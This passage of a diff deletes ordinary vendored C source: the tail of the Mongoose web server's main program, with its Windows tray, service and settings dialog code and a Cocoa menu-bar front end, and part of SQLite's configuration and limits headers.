1); - verify_existence(options, "cgi_interpreter", 0); - verify_existence(options, "ssl_certificate", 0); - - for (i = 0; options[i] != NULL; i += 2) { - const char *msg = mg_set_option(server, options[i], options[i + 1]); - if (msg != NULL) die("Failed to set option [%s]: %s", options[i], msg); - free(options[i]); - free(options[i + 1]); - } - - // Change current working directory to document root. This way, - // scripts can use relative paths. - chdir(mg_get_option(server, "document_root")); - - // Add an ability to pass listening socket to mongoose - { - const char *env = getenv("MONGOOSE_LISTENING_SOCKET"); - if (env != NULL && atoi(env) > 0 ) { - mg_set_listening_socket(server, atoi(env)); - } - } - - // Setup signal handler: quit on Ctrl-C - signal(SIGTERM, signal_handler); - signal(SIGINT, signal_handler); -#ifndef _WIN32 - signal(SIGCHLD, signal_handler); -#endif -} - -#if defined(_WIN32) || defined(USE_COCOA) -static void *serving_thread_func(void *param) { - struct mg_server *srv = (struct mg_server *) param; - while (exit_flag == 0) { - mg_poll_server(srv, 1000); - } - return NULL; -} -#endif - -#ifdef _WIN32 -enum { - ID_ICON = 100, ID_QUIT, ID_SETTINGS, ID_SEPARATOR, ID_INSTALL_SERVICE, - ID_REMOVE_SERVICE, ID_STATIC, ID_GROUP, ID_SAVE, ID_RESET_DEFAULTS, - ID_STATUS, ID_CONNECT, - - // All dynamically created text boxes for options have IDs starting from - // ID_CONTROLS, incremented by one. - ID_CONTROLS = 200, - - // Text boxes for files have "..." buttons to open file browser. These - // buttons have IDs that are ID_FILE_BUTTONS_DELTA higher than associated - // text box ID. - ID_FILE_BUTTONS_DELTA = 1000 -}; -static HICON hIcon; -static HANDLE hThread; // Serving thread -static SERVICE_STATUS ss; -static SERVICE_STATUS_HANDLE hStatus; -static const wchar_t *service_name = L"Mongoose"; -static NOTIFYICONDATA TrayIcon; - -static void WINAPI ControlHandler(DWORD code) { - ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; - ss.dwServiceType = SERVICE_WIN32; - ss.dwWin32ExitCode = NO_ERROR; - ss.dwCurrentState = SERVICE_RUNNING; - - if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) { - ss.dwCurrentState = SERVICE_STOPPED; - } - SetServiceStatus(hStatus, &ss); -} - -static void WINAPI ServiceMain(void) { - hStatus = RegisterServiceCtrlHandlerW(service_name, ControlHandler); - ControlHandler(SERVICE_CONTROL_INTERROGATE); - - while (ss.dwCurrentState == SERVICE_RUNNING) { - Sleep(1000); - } - mg_destroy_server(&server); -} - -static void show_error(void) { - char buf[256]; - FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, - NULL, GetLastError(), - MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), - buf, sizeof(buf), NULL); - MessageBox(NULL, buf, "Error", MB_OK); -} - -static void *align(void *ptr, DWORD alig) { - ULONG ul = (ULONG) ptr; - ul += alig; - ul &= ~alig; - return ((void *) ul); -} - -static int is_boolean_option(const char *option_name) { - return !strcmp(option_name, "enable_directory_listing") || - !strcmp(option_name, "enable_keep_alive"); -} - -static int is_filename_option(const char *option_name) { - return !strcmp(option_name, "cgi_interpreter") || - !strcmp(option_name, "global_auth_file") || - !strcmp(option_name, "dav_auth_file") || - !strcmp(option_name, "access_log_file") || - !strcmp(option_name, "error_log_file") || - !strcmp(option_name, "ssl_certificate"); -} - -static int is_directory_option(const char *option_name) { - return !strcmp(option_name, "document_root"); -} - -static int is_numeric_options(const char *option_name) { - return !strcmp(option_name, "num_threads"); -} - -static void save_config(HWND hDlg, FILE *fp) { - char value[2000]; - const char **options, *name, *default_value; - int i, id; - - fprintf(fp, "%s", config_file_top_comment); - options = mg_get_valid_option_names(); - for (i = 0; options[i * 2] != NULL; i++) { - name = options[i * 2]; - id = ID_CONTROLS + i; - if (is_boolean_option(name)) { - snprintf(value, sizeof(value), "%s", - IsDlgButtonChecked(hDlg, id) ? "yes" : "no"); - } else { - GetDlgItemText(hDlg, id, value, sizeof(value)); - } - default_value = options[i * 2 + 1] == NULL ? "" : options[i * 2 + 1]; - // If value is the same as default, skip it - if (strcmp(value, default_value) != 0) { - fprintf(fp, "%s %s\n", name, value); - } - } -} - -static BOOL CALLBACK DlgProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lP) { - FILE *fp; - int i; - const char *name, *value, **options = mg_get_valid_option_names(); - - switch (msg) { - case WM_CLOSE: - DestroyWindow(hDlg); - break; - - case WM_COMMAND: - switch (LOWORD(wParam)) { - case ID_SAVE: - EnableWindow(GetDlgItem(hDlg, ID_SAVE), FALSE); - if ((fp = fopen(config_file, "w+")) != NULL) { - save_config(hDlg, fp); - fclose(fp); - TerminateThread(hThread, 0); - mg_destroy_server(&server); - start_mongoose(my_argc, my_argv); - mg_start_thread(serving_thread_func, server); - } - EnableWindow(GetDlgItem(hDlg, ID_SAVE), TRUE); - break; - case ID_RESET_DEFAULTS: - for (i = 0; options[i * 2] != NULL; i++) { - name = options[i * 2]; - value = options[i * 2 + 1] == NULL ? "" : options[i * 2 + 1]; - if (is_boolean_option(name)) { - CheckDlgButton(hDlg, ID_CONTROLS + i, !strcmp(value, "yes") ? - BST_CHECKED : BST_UNCHECKED); - } else { - SetWindowText(GetDlgItem(hDlg, ID_CONTROLS + i), value); - } - } - break; - } - - for (i = 0; options[i * 2] != NULL; i++) { - name = options[i * 2]; - if ((is_filename_option(name) || is_directory_option(name)) && - LOWORD(wParam) == ID_CONTROLS + i + ID_FILE_BUTTONS_DELTA) { - OPENFILENAME of; - BROWSEINFO bi; - char path[PATH_MAX] = ""; - - memset(&of, 0, sizeof(of)); - of.lStructSize = sizeof(of); - of.hwndOwner = (HWND) hDlg; - of.lpstrFile = path; - of.nMaxFile = sizeof(path); - of.lpstrInitialDir = mg_get_option(server, "document_root"); - of.Flags = OFN_CREATEPROMPT | OFN_NOCHANGEDIR; - - memset(&bi, 0, sizeof(bi)); - bi.hwndOwner = (HWND) hDlg; - bi.lpszTitle = "Choose WWW root directory:"; - bi.ulFlags = BIF_RETURNONLYFSDIRS; - - if (is_directory_option(name)) { - SHGetPathFromIDList(SHBrowseForFolder(&bi), path); - } else { - GetOpenFileName(&of); - } - - if (path[0] != '\0') { - SetWindowText(GetDlgItem(hDlg, ID_CONTROLS + i), path); - } - } - } - - break; - - case WM_INITDIALOG: - SendMessage(hDlg, WM_SETICON,(WPARAM) ICON_SMALL, (LPARAM) hIcon); - SendMessage(hDlg, WM_SETICON,(WPARAM) ICON_BIG, (LPARAM) hIcon); - SetWindowText(hDlg, "Mongoose settings"); - SetFocus(GetDlgItem(hDlg, ID_SAVE)); - for (i = 0; options[i * 2] != NULL; i++) { - name = options[i * 2]; - value = mg_get_option(server, name); - if (is_boolean_option(name)) { - CheckDlgButton(hDlg, ID_CONTROLS + i, !strcmp(value, "yes") ? - BST_CHECKED : BST_UNCHECKED); - } else { - SetDlgItemText(hDlg, ID_CONTROLS + i, value == NULL ? "" : value); - } - } - break; - default: - break; - } - - return FALSE; -} - -static void add_control(unsigned char **mem, DLGTEMPLATE *dia, WORD type, - DWORD id, DWORD style, WORD x, WORD y, - WORD cx, WORD cy, const char *caption) { - DLGITEMTEMPLATE *tp; - LPWORD p; - - dia->cdit++; - - *mem = align(*mem, 3); - tp = (DLGITEMTEMPLATE *) *mem; - - tp->id = (WORD)id; - tp->style = style; - tp->dwExtendedStyle = 0; - tp->x = x; - tp->y = y; - tp->cx = cx; - tp->cy = cy; - - p = align(*mem + sizeof(*tp), 1); - *p++ = 0xffff; - *p++ = type; - - while (*caption != '\0') { - *p++ = (WCHAR) *caption++; - } - *p++ = 0; - p = align(p, 1); - - *p++ = 0; - *mem = (unsigned char *) p; -} - -static void show_settings_dialog() { -#define HEIGHT 15 -#define WIDTH 400 -#define LABEL_WIDTH 80 - - unsigned char mem[4096], *p; - const char **option_names, *long_option_name; - DWORD style; - DLGTEMPLATE *dia = (DLGTEMPLATE *) mem; - WORD i, cl, x, y, width, nelems = 0; - static int guard; - - static struct { - DLGTEMPLATE template; // 18 bytes - WORD menu, class; - wchar_t caption[1]; - WORD fontsiz; - wchar_t fontface[7]; - } dialog_header = {{WS_CAPTION | WS_POPUP | WS_SYSMENU | WS_VISIBLE | - DS_SETFONT | WS_DLGFRAME, WS_EX_TOOLWINDOW, 0, 200, 200, WIDTH, 0}, - 0, 0, L"", 8, L"Tahoma"}; - - if (guard == 0) { - guard++; - } else { - return; - } - - (void) memset(mem, 0, sizeof(mem)); - (void) memcpy(mem, &dialog_header, sizeof(dialog_header)); - p = mem + sizeof(dialog_header); - - option_names = mg_get_valid_option_names(); - for (i = 0; option_names[i * 2] != NULL; i++) { - long_option_name = option_names[i * 2]; - style = WS_CHILD | WS_VISIBLE | WS_TABSTOP; - x = 10 + (WIDTH / 2) * (nelems % 2); - y = (nelems/2 + 1) * HEIGHT + 5; - width = WIDTH / 2 - 20 - LABEL_WIDTH; - if (is_numeric_options(long_option_name)) { - style |= ES_NUMBER; - cl = 0x81; - style |= WS_BORDER | ES_AUTOHSCROLL; - } else if (is_boolean_option(long_option_name)) { - cl = 0x80; - style |= BS_AUTOCHECKBOX; - } else if (is_filename_option(long_option_name) || - is_directory_option(long_option_name)) { - style |= WS_BORDER | ES_AUTOHSCROLL; - width -= 20; - cl = 0x81; - add_control(&p, dia, 0x80, - ID_CONTROLS + i + ID_FILE_BUTTONS_DELTA, - WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON, - (WORD) (x + width + LABEL_WIDTH + 5), - y, 15, 12, "..."); - } else { - cl = 0x81; - style |= WS_BORDER | ES_AUTOHSCROLL; - } - add_control(&p, dia, 0x82, ID_STATIC, WS_VISIBLE | WS_CHILD, - x, y, LABEL_WIDTH, HEIGHT, long_option_name); - add_control(&p, dia, cl, ID_CONTROLS + i, style, - (WORD) (x + LABEL_WIDTH), y, width, 12, ""); - nelems++; - } - - y = (WORD) (((nelems + 1) / 2 + 1) * HEIGHT + 5); - add_control(&p, dia, 0x80, ID_GROUP, WS_CHILD | WS_VISIBLE | - BS_GROUPBOX, 5, 5, WIDTH - 10, y, " Settings "); - y += 10; - add_control(&p, dia, 0x80, ID_SAVE, - WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP, - WIDTH - 70, y, 65, 12, "Save Settings"); - add_control(&p, dia, 0x80, ID_RESET_DEFAULTS, - WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP, - WIDTH - 140, y, 65, 12, "Reset to defaults"); - add_control(&p, dia, 0x82, ID_STATIC, - WS_CHILD | WS_VISIBLE | WS_DISABLED, - 5, y, 180, 12, static_user_name); - - dia->cy = ((nelems + 1) / 2 + 1) * HEIGHT + 30; - DialogBoxIndirectParam(NULL, dia, NULL, DlgProc, (LPARAM) NULL); - guard--; -} - -static int manage_service(int action) { - SC_HANDLE hSCM = NULL, hService = NULL; - SERVICE_DESCRIPTION descr = {server_name}; - wchar_t wpath[PATH_MAX + 20]; // Path to executable plus magic argument - int success = 1; - - if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ? - GENERIC_WRITE : GENERIC_READ)) == NULL) { - success = 0; - show_error(); - } else if (action == ID_INSTALL_SERVICE) { - GetModuleFileNameW(NULL, wpath, sizeof(wpath) / sizeof(wpath[0])); - wcsncat(wpath, L" --", sizeof(wpath) / sizeof(wpath[0])); - hService = CreateServiceW(hSCM, service_name, service_name, - SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, - SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, - wpath, NULL, NULL, NULL, NULL, NULL); - if (hService) { - ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr); - } else { - show_error(); - } - } else if (action == ID_REMOVE_SERVICE) { - if ((hService = OpenServiceW(hSCM, service_name, DELETE)) == NULL || - !DeleteService(hService)) { - show_error(); - } - } else if ((hService = OpenServiceW(hSCM, service_name, - SERVICE_QUERY_STATUS)) == NULL) { - success = 0; - } - - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - - return success; -} - -static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam, - LPARAM lParam) { - static SERVICE_TABLE_ENTRY service_table[] = { - {server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, - {NULL, NULL} - }; - int service_installed; - char buf[200], *service_argv[] = {NULL, NULL}; - POINT pt; - HMENU hMenu; - static UINT s_uTaskbarRestart; // for taskbar creation - - switch (msg) { - case WM_CREATE: - if (my_argv[1] != NULL && !strcmp(my_argv[1], "--")) { - service_argv[0] = my_argv[0]; - start_mongoose(1, service_argv); - hThread = mg_start_thread(serving_thread_func, server); - StartServiceCtrlDispatcher(service_table); - exit(EXIT_SUCCESS); - } else { - start_mongoose(my_argc, my_argv); - hThread = mg_start_thread(serving_thread_func, server); - s_uTaskbarRestart = RegisterWindowMessage(TEXT("TaskbarCreated")); - } - break; - case WM_COMMAND: - switch (LOWORD(wParam)) { - case ID_QUIT: - TerminateThread(hThread, 0); - mg_destroy_server(&server); - Shell_NotifyIcon(NIM_DELETE, &TrayIcon); - PostQuitMessage(0); - return 0; - case ID_SETTINGS: - show_settings_dialog(); - break; - case ID_INSTALL_SERVICE: - case ID_REMOVE_SERVICE: - manage_service(LOWORD(wParam)); - break; - case ID_CONNECT: - printf("[%s]\n", get_url_to_me(server)); - ShellExecute(NULL, "open", get_url_to_me(server), - NULL, NULL, SW_SHOW); - break; - } - break; - case WM_USER: - switch (lParam) { - case WM_RBUTTONUP: - case WM_LBUTTONUP: - case WM_LBUTTONDBLCLK: - hMenu = CreatePopupMenu(); - AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name); - AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, ""); - service_installed = manage_service(0); - snprintf(buf, sizeof(buf), "NT service: %s installed", - service_installed ? "" : "not"); - AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf); - AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0), - ID_INSTALL_SERVICE, "Install service"); - AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0), - ID_REMOVE_SERVICE, "Deinstall service"); - AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, ""); - snprintf(buf, sizeof(buf), "Start browser on port %s", - mg_get_option(server, "listening_port")); - AppendMenu(hMenu, MF_STRING, ID_CONNECT, buf); - AppendMenu(hMenu, MF_STRING, ID_SETTINGS, "Edit Settings"); - AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, ""); - AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit"); - GetCursorPos(&pt); - SetForegroundWindow(hWnd); - TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL); - PostMessage(hWnd, WM_NULL, 0, 0); - DestroyMenu(hMenu); - break; - } - break; - case WM_CLOSE: - TerminateThread(hThread, 0); - mg_destroy_server(&server); - Shell_NotifyIcon(NIM_DELETE, &TrayIcon); - PostQuitMessage(0); - return 0; // We've just sent our own quit message, with proper hwnd. - default: - if (msg==s_uTaskbarRestart) - Shell_NotifyIcon(NIM_ADD, &TrayIcon); - } - - return DefWindowProc(hWnd, msg, wParam, lParam); -} - -int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) { - WNDCLASS cls; - HWND hWnd; - MSG msg; - - init_utf8_argc_argv(); - init_server_name(); - memset(&cls, 0, sizeof(cls)); - cls.lpfnWndProc = (WNDPROC) WindowProc; - cls.hIcon = LoadIcon(NULL, IDI_APPLICATION); - cls.lpszClassName = server_name; - - RegisterClass(&cls); - hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW, - 0, 0, 0, 0, NULL, NULL, NULL, NULL); - ShowWindow(hWnd, SW_HIDE); - - TrayIcon.cbSize = sizeof(TrayIcon); - TrayIcon.uID = ID_ICON; - TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP; - TrayIcon.hIcon = hIcon = LoadImage(GetModuleHandle(NULL), - MAKEINTRESOURCE(ID_ICON), - IMAGE_ICON, 16, 16, 0); - TrayIcon.hWnd = hWnd; - snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name); - TrayIcon.uCallbackMessage = WM_USER; - Shell_NotifyIcon(NIM_ADD, &TrayIcon); - - while (GetMessage(&msg, hWnd, 0, 0) > 0) { - TranslateMessage(&msg); - DispatchMessage(&msg); - } - - // Return the WM_QUIT value. - return msg.wParam; -} -#elif defined(USE_COCOA) -#import - -@interface Mongoose : NSObject -- (void) openBrowser; -- (void) shutDown; -@end - -@implementation Mongoose -- (void) openBrowser { - [[NSWorkspace sharedWorkspace] - openURL:[NSURL URLWithString: - [NSString stringWithUTF8String:get_url_to_me(server)]]]; -} -- (void) editConfig { - create_config_file(config_file); - [[NSWorkspace sharedWorkspace] - openFile:[NSString stringWithUTF8String:config_file] - withApplication:@"TextEdit"]; -} -- (void)shutDown{ - [NSApp terminate:nil]; -} -@end - -int main(int argc, char *argv[]) { - init_server_name(); - start_mongoose(argc, argv); - mg_start_thread(serving_thread_func, server); - - [NSAutoreleasePool new]; - [NSApplication sharedApplication]; - - // Add delegate to process menu item actions - Mongoose *myDelegate = [[Mongoose alloc] autorelease]; - [NSApp setDelegate: myDelegate]; - - // Run this app as agent - ProcessSerialNumber psn = { 0, kCurrentProcess }; - TransformProcessType(&psn, kProcessTransformToBackgroundApplication); - SetFrontProcess(&psn); - - // Add status bar menu - id menu = [[NSMenu new] autorelease]; - - // Add version menu item - [menu addItem:[[[NSMenuItem alloc] - //initWithTitle:[NSString stringWithFormat:@"%s", server_name] - initWithTitle:[NSString stringWithUTF8String:server_name] - action:@selector(noexist) keyEquivalent:@""] autorelease]]; - - // Add configuration menu item - [menu addItem:[[[NSMenuItem alloc] - initWithTitle:@"Edit configuration" - action:@selector(editConfig) keyEquivalent:@""] autorelease]]; - - // Add connect menu item - [menu addItem:[[[NSMenuItem alloc] - initWithTitle:@"Open web root in a browser" - action:@selector(openBrowser) keyEquivalent:@""] autorelease]]; - - // Separator - [menu addItem:[NSMenuItem separatorItem]]; - - // Add quit menu item - [menu addItem:[[[NSMenuItem alloc] - initWithTitle:@"Quit" - action:@selector(shutDown) keyEquivalent:@"q"] autorelease]]; - - // Attach menu to the status bar - id item = [[[NSStatusBar systemStatusBar] - statusItemWithLength:NSVariableStatusItemLength] retain]; - [item setHighlightMode:YES]; - [item setImage:[NSImage imageNamed:@"mongoose_22x22"]]; - [item setMenu:menu]; - - // Run the app - [NSApp activateIgnoringOtherApps:YES]; - [NSApp run]; - - mg_destroy_server(&server); - - return EXIT_SUCCESS; -} -#else -int main(int argc, char *argv[]) { -#ifdef WIN32 - init_utf8_argc_argv(); - argc = my_argc; - argv = my_argv; -#endif - init_server_name(); - start_mongoose(argc, argv); - printf("%s serving [%s] on port %s\n", - server_name, mg_get_option(server, "document_root"), - mg_get_option(server, "listening_port")); - fflush(stdout); // Needed, Windows terminals might not be line-buffered - while (exit_flag == 0) { - mg_poll_server(server, 1000); - } - printf("Exiting on signal %d ...", exit_flag); - fflush(stdout); - mg_destroy_server(&server); - printf("%s\n", " done."); - - return EXIT_SUCCESS; -} -#endif /* _WIN32 */ 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If the OS lacks -** large file support, or if the OS is windows, these should be no-ops. -** -** Ticket #2739: The _LARGEFILE_SOURCE macro must appear before any -** system #includes. Hence, this block of code must be the very first -** code in all source files. -** -** Large file support can be disabled using the -DSQLITE_DISABLE_LFS switch -** on the compiler command line. This is necessary if you are compiling -** on a recent machine (ex: Red Hat 7.2) but you want your code to work -** on an older machine (ex: Red Hat 6.0). If you compile on Red Hat 7.2 -** without this option, LFS is enable. But LFS does not exist in the kernel -** in Red Hat 6.0, so the code won't work. Hence, for maximum binary -** portability you should omit LFS. -** -** Similar is true for Mac OS X. LFS is only supported on Mac OS X 9 and later. -*/ -#ifndef SQLITE_DISABLE_LFS -# define _LARGE_FILE 1 -# ifndef _FILE_OFFSET_BITS -# define _FILE_OFFSET_BITS 64 -# endif -# define _LARGEFILE_SOURCE 1 -#endif - -/* -** Include the configuration header output by 'configure' if we're using the -** autoconf-based build -*/ -#ifdef _HAVE_SQLITE_CONFIG_H -#include "config.h" -#endif - -/************** Include sqliteLimit.h in the middle of sqliteInt.h ***********/ -/************** Begin file sqliteLimit.h *************************************/ -/* -** 2007 May 7 -** -** The author disclaims copyright to this source code. In place of -** a legal notice, here is a blessing: -** -** May you do good and not evil. -** May you find forgiveness for yourself and forgive others. -** May you share freely, never taking more than you give. -** -************************************************************************* -** -** This file defines various limits of what SQLite can process. -*/ - -/* -** The maximum length of a TEXT or BLOB in bytes. This also -** limits the size of a row in a table or index. -** -** The hard limit is the ability of a 32-bit signed integer -** to count the size: 2^31-1 or 2147483647. -*/ -#ifndef SQLITE_MAX_LENGTH -# define SQLITE_MAX_LENGTH 1000000000 -#endif - -/* -** This is the maximum number of -** -** * Columns in a table -** * Columns in an index -** * Columns in a view -** * Terms in the SET clause of an UPDATE statement -** * Terms in the result set of a SELECT statement -** * Terms in the GROUP BY or ORDER BY clauses of a SELECT statement. -** * Terms in the VALUES clause of an INSERT statement -** -** The hard upper limit here is 32676. Most database people will -** tell you that in a well-normalized database, you usually should -** not have more than a dozen or so columns in any table. And if -** that is the case, there is no point in having more than a few -** dozen values in any of the other situations described above. -*/ -#ifndef SQLITE_MAX_COLUMN -# define SQLITE_MAX_COLUMN 2000 -#endif - -/* -** The maximum length of a single SQL statement in bytes. -** -** It used to be the case that setting this value to zero would -** turn the limit off. That is no longer true. It is not possible -** to turn this limit off. -*/ -#ifndef SQLITE_MAX_SQL_LENGTH -# define SQLITE_MAX_SQL_LENGTH 1000000000 -#endif - -/* -** The maximum depth of an expression tree. This is limited to -** some extent by SQLITE_MAX_SQL_LENGTH. But sometime you might -** want to place more severe limits on the complexity of an -** expression. -** -** A value of 0 used to mean that the limit was not enforced. -** But that is no longer true. The limit is now strictly enforced -** at all times. -*/ -#ifndef SQLITE_MAX_EXPR_DEPTH -# define SQLITE_MAX_EXPR_DEPTH 1000 -#endif - -/* -** The maximum number of terms in a compound SELECT statement. -** The code generator for compound SELECT statements does one -** level of recursion for each term. A stack overflow can result -** if the number of terms is too large. In practice, most SQL -** never has more than 3 or 4 terms. Use a value of 0 to disable -** any limit on the number of terms in a compount SELECT. -*/ -#ifndef SQLITE_MAX_COMPOUND_SELECT -# define SQLITE_MAX_COMPOUND_SELECT 500 -#endif - -/* -** The maximum number of opcodes in a VDBE program. -** Not currently enforced. -*/ -#ifndef SQLITE_MAX_VDBE_OP -# define SQLITE_MAX_VDBE_OP 25000 -#endif - -/* -** The maximum number of arguments to an SQL function. -*/ -#ifndef SQLITE_MAX_FUNCTION_ARG -# define SQLITE_MAX_FUNCTION_ARG 127 -#endif - -/* -** The maximum number of in-memory pages to use for the main database -** table and for temporary tables. The SQLITE_DEFAULT_CACHE_SIZE -*/ -#ifndef SQLITE_DEFAULT_CACHE_SIZE -# define SQLITE_DEFAULT_CACHE_SIZE 2000 -#endif -#ifndef SQLITE_DEFAULT_TEMP_CACHE_SIZE -# define SQLITE_DEFAULT_TEMP_CACHE_SIZE 500 -#endif - -/* -** The default number of frames to accumulate in the log file before -** checkpointing the database in WAL mode. -*/ -#ifndef SQLITE_DEFAULT_WAL_AUTOCHECKPOINT -# define SQLITE_DEFAULT_WAL_AUTOCHECKPOINT 1000 -#endif - -/* -** The maximum number of attached databases. This must be between 0 -** and 62. The upper bound on 62 is because a 64-bit integer bitmap -** is used internally to track attached databases. -*/ -#ifndef SQLITE_MAX_ATTACHED -# define SQLITE_MAX_ATTACHED 10 -#endif - - -/* -** The maximum value of a ?nnn wildcard that the parser will accept. -*/ -#ifndef SQLITE_MAX_VARIABLE_NUMBER -# define SQLITE_MAX_VARIABLE_NUMBER 999 -#endif - -/* Maximum page size. The upper bound on this value is 65536. This a limit -** imposed by the use of 16-bit offsets within each page. -** -** Earlier versions of SQLite allowed the user to change this value at -** compile time. This is no longer permitted, on the grounds that it creates -** a library that is technically incompatible with an SQLite library -** compiled with a different limit. If a process operating on a database -** with a page-size of 65536 bytes crashes, then an instance of SQLite -** compiled with the default page-size limit will not be able to rollback -** the aborted transaction. This could lead to database corruption. -*/ -#ifdef SQLITE_MAX_PAGE_SIZE -# undef SQLITE_MAX_PAGE_SIZE -#endif -#define SQLITE_MAX_PAGE_SIZE 65536 - - -/* -** The default size of a database page. -*/ -#ifndef SQLITE_DEFAULT_PAGE_SIZE -# define SQLITE_DEFAULT_PAGE_SIZE 1024 -#endif -#if SQLITE_DEFAULT_PAGE_SIZE>SQLITE_MAX_PAGE_SIZE -# undef SQLITE_DEFAULT_PAGE_SIZE -# define SQLITE_DEFAULT_PAGE_SIZE SQLITE_MAX_PAGE_SIZE -#endif - -/* -** Ordinarily, if no value is explicitly provided, SQLite creates databases -** with page size SQLITE_DEFAULT_PAGE_SIZE. However, based on certain -** device characteristics (sector-size and atomic write() support), -** SQLite may choose a larger value. This constant is the maximum value -** SQLite will choose on its own. -*/ -#ifndef SQLITE_MAX_DEFAULT_PAGE_SIZE -# define SQLITE_MAX_DEFAULT_PAGE_SIZE 8192 -#endif -#if SQLITE_MAX_DEFAULT_PAGE_SIZE>SQLITE_MAX_PAGE_SIZE -# undef SQLITE_MAX_DEFAULT_PAGE_SIZE -# define SQLITE_MAX_DEFAULT_PAGE_SIZE SQLITE_MAX_PAGE_SIZE -#endif - - -/* -** Maximum number of pages in one database file. -** -** This is really just the default value for the max_page_count pragma. -** This value can be lowered (or raised) at run-time using that the -** max_page_count macro. -*/ -#ifndef SQLITE_MAX_PAGE_COUNT -# define SQLITE_MAX_PAGE_COUNT 1073741823 -#endif - -/* -** Maximum length (in bytes) of the pattern in a LIKE or GLOB -** operator. -*/ -#ifndef SQLITE_MAX_LIKE_PATTERN_LENGTH -# define SQLITE_MAX_LIKE_PATTERN_LENGTH 50000 -#endif - -/* -** Maximum depth of recursion for triggers. -** -** A value of 1 means that a trigger program will not be able to itself -** fire any triggers. A value of 0 means that no trigger programs at all -** may be executed. -*/ -#ifndef SQLITE_MAX_TRIGGER_DEPTH -# define SQLITE_MAX_TRIGGER_DEPTH 1000 -#endif - -/************** End of sqliteLimit.h *****************************************/ -/************** Continuing where we left off in sqliteInt.h ******************/ - -/* Disable nuisance warnings on Borland compilers */ -#if defined(__BORLANDC__) -#pragma warn -rch /* unreachable code */ -#pragma warn -ccc /* Condition is always true or false */ -#pragma warn -aus /* Assigned value is never used */ -#pragma warn -csu /* Comparing signed and unsigned */ -#pragma warn -spa /* Suspicious pointer arithmetic */ -#endif - -/* Needed for various definitions... */ -#ifndef _GNU_SOURCE -# define _GNU_SOURCE -#endif - -#if defined(__OpenBSD__) && !defined(_BSD_SOURCE) -# define _BSD_SOURCE -#endif - -/* -** Include standard header files as necessary -*/ -#ifdef HAVE_STDINT_H -#include -#endif -#ifdef HAVE_INTTYPES_H -#include -#endif - -/* -** The following macros are used to cast pointers to integers and -** integers to pointers. The way you do this varies from one compiler -** to the next, so we have developed the following set of #if statements -** to generate appropriate macros for a wide range of compilers. -** -** The correct "ANSI" way to do this is to use the intptr_t type. -** Unfortunately, that typedef is not available on all compilers, or -** if it is available, it requires an #include of specific headers -** that vary from one machine to the next. -** -** Ticket #3860: The llvm-gcc-4.2 compiler from Apple chokes on -** the ((void*)&((char*)0)[X]) construct. But MSVC chokes on ((void*)(X)). -** So we have to define the macros in different ways depending on the -** compiler. -*/ -#if defined(__PTRDIFF_TYPE__) /* This case should work for GCC */ -# define SQLITE_INT_TO_PTR(X) ((void*)(__PTRDIFF_TYPE__)(X)) -# define SQLITE_PTR_TO_INT(X) ((int)(__PTRDIFF_TYPE__)(X)) -#elif !defined(__GNUC__) /* Works for compilers other than LLVM */ -# define SQLITE_INT_TO_PTR(X) ((void*)&((char*)0)[X]) -# define SQLITE_PTR_TO_INT(X) ((int)(((char*)X)-(char*)0)) -#elif defined(HAVE_STDINT_H) /* Use this case if we have ANSI headers */ -# define SQLITE_INT_TO_PTR(X) ((void*)(intptr_t)(X)) -# define SQLITE_PTR_TO_INT(X) ((int)(intptr_t)(X)) -#else /* Generates a warning - but it always works */ -# define SQLITE_INT_TO_PTR(X) ((void*)(X)) -# define SQLITE_PTR_TO_INT(X) ((int)(X)) -#endif - -/* -** The SQLITE_THREADSAFE macro must be defined as 0, 1, or 2. -** 0 means mutexes are permanently disable and the library is never -** threadsafe. 1 means the library is serialized which is the highest -** level of threadsafety. 2 means the libary is multithreaded - multiple -** threads can use SQLite as long as no two threads try to use the same -** database connection at the same time. -** -** Older versions of SQLite used an optional THREADSAFE macro. -** We support that for legacy. -*/ -#if !defined(SQLITE_THREADSAFE) -# if defined(THREADSAFE) -# define SQLITE_THREADSAFE THREADSAFE -# else -# define SQLITE_THREADSAFE 1 /* IMP: R-07272-22309 */ -# endif -#endif - -/* -** Powersafe overwrite is on by default. But can be turned off using -** the -DSQLITE_POWERSAFE_OVERWRITE=0 command-line option. -*/ -#ifndef SQLITE_POWERSAFE_OVERWRITE -# define SQLITE_POWERSAFE_OVERWRITE 1 -#endif - -/* -** The SQLITE_DEFAULT_MEMSTATUS macro must be defined as either 0 or 1. -** It determines whether or not the features related to -** SQLITE_CONFIG_MEMSTATUS are available by default or not. This value can -** be overridden at runtime using the sqlite3_config() API. -*/ -#if !defined(SQLITE_DEFAULT_MEMSTATUS) -# define SQLITE_DEFAULT_MEMSTATUS 1 -#endif - -/* -** Exactly one of the following macros must be defined in order to -** specify which memory allocation subsystem to use. -** -** 